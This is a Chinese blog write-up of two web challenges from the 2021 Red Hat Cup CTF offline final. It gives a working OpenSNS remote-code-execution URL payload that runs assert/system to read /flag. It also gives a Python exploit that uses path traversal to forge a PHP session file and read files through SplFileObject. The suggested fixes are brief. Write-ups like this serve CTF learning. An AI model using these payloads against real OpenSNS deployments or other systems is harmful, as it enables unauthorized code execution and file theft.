Toc
  1. Web
    1. opensns
      1. 修复
    2. upload
      1. 修复
Toc
0 results found
Rayi
2021 红帽杯线下决赛部分wp
2021/07/25 WriteUp WriteUp

前两天重装系统忘了装go环境,绝了

Web

opensns

看日志,日志里有一条可疑的payload

image-20210724171138127

[ 2021-05-19T20:05:12+08:00 ] 127.0.0.1 /?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=phpinfo()%26id[0]=a
INFO: [ app_init ] --START--

打一下,发现出现phpinfo()界面

改一下payload

/?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=system('cat /flag')%26id[0]=a

image-20210724171311259

修复

随便加加正则过滤就行

upload

从这里我们可以控制初始化任意类

image-20210724171443114

写文件的位置没有过滤,可以目录穿透,从phpinfo可以看到session文件的存放位置为/tmp

也就是说可以控制session文件

利用内置类SplFileObject可以读文件,上传session文件即可控制$_SESSION

exp如下

import requests
url = "http://172.16.9.2:9004/"
cookie = {"PHPSESSID":"rayi"}
data = {"filename":"../../../../../../../../../../../tmp/sess_rayi","content":'''i|i:0;f|i:0;e|s:0:"";form|i:0;CmsCode|s:7:"refresh";time|i:1626097284;func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}'''}
web1 = requests.post(url,data=data,cookies=cookie)
web2 = requests.get(url,cookies=cookie)
print(web2.text)

修复

当时修的时候只发现了这里有个动态变量

image-20210724171914216

于是就写死了,就check过了

本文作者:Rayi
版权声明:本文首发于Rayi的博客,转载请注明出处!